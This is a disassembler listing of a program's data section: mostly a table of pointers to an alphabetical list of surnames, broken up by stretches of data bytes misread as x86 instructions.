dd offset aDicks ; "Dicks"
dd offset aDiefenbach ; "Diefenbach"
dd offset aDifabio ; "Difabio"
dd offset aDifronzo ; "Difronzo"
dd offset aDilworth ; "Dilworth"
dd offset aDionysius ; "Dionysius"
dd offset aDirksen ; "Dirksen"
dd offset aDockery ; "Dockery"
dd offset aDoherty ; "Doherty"
dd offset aDonahue ; "Donahue"
dd offset aDonner ; "Donner"
dd offset aDoonan ; "Doonan"
dd offset aDore ; "Dore"
dd offset aDorf ; "Dorf"
dd offset aDosi ; "Dosi"
dd offset aDoty ; "Doty"
dd offset aDoug ; "Doug"
dd offset aDowsland ; "Dowsland"
dd offset aDrinker ; "Drinker"
dd offset aDSouza ; "D'souza"
dd offset aDuffin ; "Duffin"
dd offset aDurrett ; "Durrett"
dd offset aDussault ; "Dussault"
dd offset aDwyer ; "Dwyer"
dd offset aEardley ; "Eardley"
dd offset aEbeling ; "Ebeling"
dd offset aEckel ; "Eckel"
dd offset aEdley ; "Edley"
dd offset aEdner ; "Edner"
dd offset aEdward ; "Edward"
dd offset aEickenhorst ; "Eickenhorst"
dd offset aEliasson ; "Eliasson"
dd offset aElmendorf ; "Elmendorf"
; ---------------------------------------------------------------------------
mov esp, 0C80043BDh
mov ebp, 0BDD00043h
inc ebx
add al, bl
mov ebp, 0BDE00043h
inc ebx
add al, ch
mov ebp, 0BDF00043h
inc ebx
add al, bh
mov ebp, 0BE000043h
inc ebx
add [eax], cl
mov esi, 0BE140043h
inc ebx
add [esi+edi*4], bl
inc ebx
add [esi+edi*4], ah
inc ebx
add [eax], dh
mov esi, 0BE380043h
inc ebx
add [eax-42h], al
inc ebx
add [eax-42h], cl
inc ebx
add [eax-42h], dl
inc ebx
add [eax-42h], ah
inc ebx
add [eax-42h], ch
inc ebx
add [eax-42h], dh
inc ebx
add [eax-42h], bh
inc ebx
add [eax-77FFBC42h], al
mov esi, 0BE900043h
inc ebx
add [esi+edi*4-415BFFBDh], bl
inc ebx
add [esi+edi*4-414BFFBDh], ch
inc ebx
add al, al
mov esi, 0BECC0043h
inc ebx
add al, bl
mov esi, 0BEE00043h
inc ebx
add al, ch
mov esi, 0BEF00043h
inc ebx
add al, bh
mov esi, 0BF040043h
inc ebx
add [eax], dl
mov edi, 0BF180043h
inc ebx
add [eax], ah
mov edi, 0BF2C0043h
inc ebx
add [edi+edi*4], dh
inc ebx
add [edi+edi*4], bh
inc ebx
add [edi+edi*4+43h], al
add [eax-41h], dl
inc ebx
add [eax-41h], bl
inc ebx
add [eax-41h], ah
inc ebx
add [eax-41h], ch
inc ebx
add [eax-41h], dh
inc ebx
add [edi+edi*4+43h], bh
add [edi+edi*4-406BFFBDh], cl
inc ebx
add [edi+edi*4-4053FFBDh], ah
inc ebx
add [eax-3FFFBC41h], bh
mov edi, 0BFCC0043h
inc ebx
add ah, dl
mov edi, 0BFDC0043h
inc ebx
add al, ch
mov edi, 0BFF00043h
inc ebx
add ah, bh
mov edi, 0C0040043h
inc ebx
add [eax+eax*8], cl
inc ebx
add [eax+eax*8], dl
inc ebx
add [eax], ah
rol byte ptr [ebx+0], 2Ch
rol byte ptr [ebx+0], 38h
rol byte ptr [ebx+0], 40h
rol byte ptr [ebx+0], 48h
rol byte ptr [ebx+0], 54h
rol byte ptr [ebx+0], 5Ch
rol byte ptr [ebx+0], 64h
rol byte ptr [ebx+0], 6Ch
rol byte ptr [ebx+0], 78h
rol byte ptr [ebx+0], 80h
rol byte ptr [ebx+0], 88h
rol byte ptr [ebx+0], 90h
rol byte ptr [ebx+0], 98h
rol byte ptr [ebx+0], 0A0h
rol byte ptr [ebx+0], 0A8h
rol byte ptr [ebx+0], 0B0h
rol byte ptr [ebx+0], 0B8h
rol byte ptr [ebx+0], 0C4h
rol byte ptr [ebx+0], 0CCh
rol byte ptr [ebx+0], 0D4h
rol byte ptr [ebx+0], 0DCh
rol byte ptr [ebx+0], 0E4h
rol byte ptr [ebx+0], 0F0h
rol byte ptr [ebx+0], 0FCh
rol byte ptr [ebx+0], 4
rol dword ptr [ebx+0], 10h
rol dword ptr [ebx+0], 18h
rol dword ptr [ebx+0], 20h
rol dword ptr [ebx+0], 28h
rol dword ptr [ebx+0], 34h
rol dword ptr [ebx+0], 40h
rol dword ptr [ebx+0], 4Ch
rol dword ptr [ebx+0], 58h
rol dword ptr [ebx+0], 64h
rol dword ptr [ebx+0], 6Ch
rol dword ptr [ebx+0], 74h
rol dword ptr [ebx+0], 80h
rol dword ptr [ebx+0], 88h
rol dword ptr [ebx+0], 8Ch
rol dword ptr [ebx+0], 90h
rol dword ptr [ebx+0], 98h
rol dword ptr [ebx+0], 0A0h
rol dword ptr [ebx+0], 0ACh
rol dword ptr [ebx+0], 0B4h
rol dword ptr [ebx+0], 0BCh
rol dword ptr [ebx+0], 0C8h
rol dword ptr [ebx+0], 0D0h
rol dword ptr [ebx+0], 0E0h
rol dword ptr [ebx+0], 0E8h
rol dword ptr [ebx+0], 0F4h
rol dword ptr [ebx+0], 0FCh
rol dword ptr [ebx+0], 4
retn 43h
; ---------------------------------------------------------------------------
or al, 0C2h
inc ebx
add [eax], bl
retn 43h
; ---------------------------------------------------------------------------
and dl, al
inc ebx
add [edx+eax*8], ch
inc ebx
add [edx+eax*8], dh
inc ebx
add [eax-3Eh], al
inc ebx
add [edx+eax*8+43h], cl
add [edx+eax*8+43h], dl
add [eax-3Eh], ah
inc ebx
add [eax-3Eh], ch
inc ebx
add [eax-3Eh], dh
inc ebx
add [eax-3Eh], bh
inc ebx
add [edx+eax*8-3D6FFFBDh], al
inc ebx
add [eax-5FFFBC3Eh], bl
retn 43h
; ---------------------------------------------------------------------------
test al, 0C2h
inc ebx
add [edx+eax*8-3D43FFBDh], dh
inc ebx
add al, cl
retn 43h
; ---------------------------------------------------------------------------
rol dl, 1
inc ebx
add ah, bl
retn 43h
; ---------------------------------------------------------------------------
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
; ---------------------------------------------------------------------------
clc
retn 43h
; ---------------------------------------------------------------------------
dd offset aHeyeck ; "Heyeck"
; ---------------------------------------------------------------------------
or bl, al
inc ebx
add [ebx+eax*8], dl
inc ebx
add [ebx+eax*8], bl
inc ebx
add [ebx+eax*8], ah
inc ebx
add [eax], dh
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax], bh
retn
; ---------------------------------------------------------------------------
inc ebx
add [eax-3Dh], al
inc ebx
add [eax-3Dh], cl
inc ebx
add [eax-3Dh], dl
inc ebx
add [ebx+eax*8+43h], bl
add [ebx+eax*8+43h], ah
add [ebx+eax*8+43h], ch
add [ebx+eax*8+43h], dh
add [ebx+eax*8+43h], bh
add [ebx+eax*8-3C73FFBDh], al
inc ebx
add [ebx+eax*8-3C63FFBDh], dl
inc ebx
add [ebx+eax*8-3C53FFBDh], ah
inc ebx
add [ebx+eax*8-3C43FFBDh], dh
inc ebx
add ah, al
retn
; ---------------------------------------------------------------------------
inc ebx
add al, cl
retn
; ---------------------------------------------------------------------------
inc ebx
add al, dl
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, bl
retn
; ---------------------------------------------------------------------------
db 43h ; C
db 0
db 0E8h ; è
db 0C3h ; Ã
; ---------------------------------------------------------------------------
inc ebx
add ah, dh
retn
; ---------------------------------------------------------------------------
inc ebx
add ah, bh
retn
; ---------------------------------------------------------------------------
dw 43h
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
; ---------------------------------------------------------------------------
adc al, 0C5h
inc ebx
add [eax], ah
lds eax, [ebx+0]
sub ch, al
inc ebx
add [eax], dh
lds eax, [ebx+0]
cmp al, 0C5h
inc ebx
add [ebp+eax*8+43h], al
add [ebp+eax*8+43h], cl
add [ebp+eax*8+43h], dl
loc_43E477: ; CODE XREF: .data:0043E4B0j
add [ebp+eax*8+43h], bl
add [eax-3Bh], ch
inc ebx
add [eax-3Bh], dh
inc ebx
add [ebp+eax*8+43h], bh
add [eax-6FFFBC3Bh], cl
lds eax, [ebx+0]
pushf
lds eax, [ebx+0]
movsb
lds eax, [ebx+0]
lodsb
lds eax, [ebx+0]
mov ah, 0C5h
inc ebx
add al, al
lds eax, [ebx+0]
int 3 ; Trap to Debugger
lds eax, [ebx+0]
aam 0C5h
inc ebx
add ah, bl
lds eax, [ebx+0]
loopne loc_43E477
inc ebx
add al, ch
lds eax, [ebx+0]
; ---------------------------------------------------------------------------
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine_0 ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
; ---------------------------------------------------------------------------
or al, 0CAh
inc ebx
add [edx+ecx*8], dl
inc ebx
add [edx+ecx*8], bl
inc ebx
add [edx+ecx*8], ah
inc ebx
add [edx+ecx*8], ch
inc ebx
add [eax], bh
retf 43h
; ---------------------------------------------------------------------------
dd offset aMarch_0 ; "March"
dd offset aMarchbanks ; "Marchbanks"
; ---------------------------------------------------------------------------
pop eax
retf 43h
; ---------------------------------------------------------------------------
pusha
retf 43h
; ---------------------------------------------------------------------------
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
; ---------------------------------------------------------------------------
or dl, 43h
add [edx+ecx*8-3567FFBDh], cl
inc ebx
add [eax-53FFBC36h], ah
retf 43h
; ---------------------------------------------------------------------------
mov ah, 0CAh
inc ebx
add [edx+ecx*8-3537FFBDh], bh
inc ebx
add ah, dl
retf 43h
; ---------------------------------------------------------------------------
fmul st(2), st
inc ebx
add ah, ah
retf 43h
; ---------------------------------------------------------------------------
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
; ---------------------------------------------------------------------------
cld
retf 43h
; ---------------------------------------------------------------------------
add al, 0CBh
inc ebx
add [eax], dl
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], bl
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8], ah
inc ebx
add [eax], dh
retf
; ---------------------------------------------------------------------------
inc ebx
add [eax], bh
retf
; ---------------------------------------------------------------------------
inc ebx
add [ebx+ecx*8+43h], al
add [ebx+ecx*8+43h], cl
add [eax-35h], bl
inc ebx
add [eax-35h], ah
inc ebx
add [ebx+ecx*8+43h], ch
add [ebx+ecx*8+43h], dh
add [ebx+ecx*8+43h], bh
add [ebx+ecx*8-3473FFBDh], al
inc ebx
add [ebx+ecx*8-345FFFBDh], dl
inc ebx
add [ebx+ecx*8-344BFFBDh], ch
inc ebx
add al, al
retf
; ---------------------------------------------------------------------------
inc ebx
add al, cl
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, dl
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, bl
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, ah
retf
; ---------------------------------------------------------------------------
inc ebx
add ah, ch
retf
; ---------------------------------------------------------------------------
inc ebx
add al, bh
retf
; ---------------------------------------------------------------------------
dw 43h
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
dd offset aTringali ; "Tringali"
dd offset aTroiani ; "Troiani"
db 88h, 0D8h
; ---------------------------------------------------------------------------
loc_43ECD2: ; CODE XREF: .data:0043ECF8j
inc ebx
add [eax-67FFBC28h], dl
fadd dword ptr [ebx+0]
mov al, ds:0AC0043D8h
fadd dword ptr [ebx+0]
mov eax, 0C00043D8h
fadd dword ptr [ebx+0]
enter 43D8h, 0
rcr al, 1
inc ebx
add al, bl
fadd dword ptr [ebx+0]
loopne loc_43ECD2
inc ebx
add al, ch
fadd dword ptr [ebx+0]
; ---------------------------------------------------------------------------
dd offset aTzamarias ; "Tzamarias"
dd offset aUllman ; "Ullman"
dd offset aUntermeyer ; "Untermeyer"
dd offset aUpsdell ; "Upsdell"
dd offset aUrban ; "Urban"
dd offset aUrdangBrown ; "Urdang-Brown"
dd offset aUsdan ; "Usdan"
dd offset aUzuner ; "Uzuner"
dd offset aVacca ; "Vacca"
dd offset aWaite ; "Waite"
dd offset aValberg ; "Valberg"
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
dd offset aWalter ; "Walter"
dd offset aVanallen ; "vanAllen"
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
dd offset aVasquez ; "Vasquez"
dd offset aWaugh ; "Waugh"
